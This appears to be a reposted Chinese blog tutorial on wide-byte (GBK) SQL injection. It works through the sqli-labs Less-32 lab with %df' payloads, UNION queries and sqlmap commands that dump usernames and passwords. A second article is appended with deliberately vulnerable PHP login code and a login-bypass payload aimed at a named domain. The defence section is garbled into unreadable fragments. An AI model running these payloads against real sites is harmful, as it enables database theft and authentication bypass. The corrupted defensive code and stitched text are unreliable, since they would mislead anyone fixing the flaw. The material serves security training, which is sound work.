渗透测试-SQL注入之宽字节注入

Posted 炫彩@之星

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了渗透测试-SQL注入之宽字节注入相关的知识,希望对你有一定的参考价值。

SQL注入之宽字节注入

文章目录

前言

一、什么是宽字节注入

宽字节是相对于ascII这样单字节而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节。GBK 是一种多字符的编码,通常来说,一个 gbk 编码汉字,占用2个字节。一个 utf-8 编码的汉字,占用3个字节。

转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\\”进行转义;

宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。

二、宽字节注入获取数据库信息

1.宽字节注入方法


宽字节注入原理
程序员防止注入点,在其后面加入\\进行转义
利用在其后面注入点发现没有报错
http://192.168.222.4/sqli-labs/Less-32/?id=2%df%27

注入?id=1%df’ 出现报错,存在注入
http://192.168.222.4/sqli-labs/Less-32/?id=1’(不可以注入)
http://192.168.222.4/sqli-labs/Less-32/?id=1%df’
http://192.168.222.4/sqli-labs/Less-32/?id=1%df%27
MySQL在使用GBK编码时,两个字符组合,认为是一个汉字
%df’->%df’-> %df%5c%27(%df%5c是一个汉字)->(汉字)‘->id=(汉字)’ and (可以注入)

(1)用sqli-labs靶场进行演示,这里l利用32关进行练习
首先我们尝试进行注入在后面加’
http://192.168.222.4/sqli-labs/Less-32/?id=1’

发现没有报错,我们可以去看看源代码是怎么写的


发现注入的’ 被\\转义了,无法进行注入
而且发现代码中用的是gbk编码,说明存在宽字节注入
mysql_query(“SET NAMES gbk”);

然后我们就可以进行宽字节注入,后面叫上%df’试试
http://192.168.222.4/sqli-labs/Less-32/?id=1%df’

发现报错,所以肯定存在宽字节注入,然后查询有多少列


发现存在3列,接下来尝试注入查找用户信息
http://192.168.222.4/sqli-labs/Less-32/?id=%df’ union select 1,(select user()),3–+

注入成功,查看当前数据库的表
http://192.168.222.4/sqli-labs/Less-32/?id=%df’ union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1),3–+

用户信息应该在users表中,接下来继续注入查看表中的信息,这里利用sqlmap进行注入查询,会比较方便
(2)打开sqlmap,输入
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1”

这里会显示id没有注入,没事,进行下一步宽字节注入
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df”

没有报错,接下来查当前用户
sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-user


查用户成功,接下来查库
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-db(查数据库)

sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security --tables(当前数据库有哪些表)

(当前表中有哪些字段)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users --column

(当前表中有哪些数据)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users -C username,password --dump(使用dump来获取内容)

2.宽字节注入防御方法

(1)使用utf-8,避免宽字节注入;
ps: 不仅在gbk,韩文,日文等等都是快字节注入漏洞

2.mysql_real_escape_string,mysql_set_charset('gbk, c o n n ′ ) ; 3. 可以设置参数, c h a r a c t e r s e t c l i e n t = b i n a r y 只需在该语句中插入 conn'); 3.可以设置参数,character_set_client=binary 只需在该语句中插入 conn);3.可以设置参数,charactersetclient=binary只需在该语句中插入result=mysql_query($sql)即可
r e s u l t = m y s q l q u e r y ( " c h a r a c t e r s e t c l i e n t = b i n a r y " , result=mysql_query("character_set_client=binary", result=mysqlquery("charactersetclient=binary",sql);//就不会出现宽字节注入了

(2)这里总结一下sqlmap宽字节注入的使用语句

sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1”
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df”
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-user
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-db(查数据库)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security --tables(当前数据库有哪些表)

(当前表中有哪些字段)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users --column

(当前表中有哪些数据)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users -C username,password --dump(使用dump来获取内容)

总结

本次实验是对SQL注入的宽字节注入进行靶场练习,了解了宽字节注入的原理和注入方法,学会了对代码的审计,判断注入的方式,从而获取到用户的信息。

SQL注入之宽字节注入

简介

宽字节注入是相对于单字节注入而言的。单字节注入就是大家平时的直接在带有参数ID的URL后面 追回SQL语句进行注入。比如:http://www.hackest.cn/article.php?id=1and 1=1/*

http://www.hackest.cn/article.php?id=1and 1=2/*,这个经典的判断目标是否存在注入的例子就是单字节注入。

理论上说,只要数据库连接代码设置了GBK编码,或者是默认编码就 是GBK,那现在的程序里到处都是注入漏洞。事实上,这种变换在XSS等领域也发挥了巨大的作用,在PHP+Linux后台程序结合的时候,还可能造成命 令注入,也就是说能可以在注入点直接执行Linux系统命令。比如登录文件login.php的代码如下:

<?php $conn=mysql_connect("localhost","root","hackest"); mysql_query("SET NAMES ‘GBK‘"); mysql_select_db("test",$conn); $user=mysql_escape_string($_GET[‘user‘]); $pass=mysql_escape_string($_GET[‘pass‘]); $sql="select * from cms_user where username=‘$user‘ and password=‘$pass‘"; $result=mysql_query($sql,$conn); while ($row=mysql_fetch_array($result, MYSQL_ASSOC)) { $rows[]=$row; } ?> 

则可以通过构造以下语句进行注入:

http://www.hackest.cn/login.php?user=%df‘%20or%201=1%20limit%201,1%23&pass=

%20是空格的URL编码,%23是#的URL编码,Mysql注释符之一。对应的SQL语句是:

select * fromcms_user where username=‘運‘or 1=1 limit 1,1#‘ and password="

以下为URL编码:

%27---------单引号

%20----------空格

%23-----------#号

%5c------------/反斜杠

 

以上是关于渗透测试-SQL注入之宽字节注入的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入之宽字节注入

那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

有哪些好用的渗透测试演练系统

网络安全工程师需要学啥?

如何安全地进行SQL注入测试

web渗透测试--防sql注入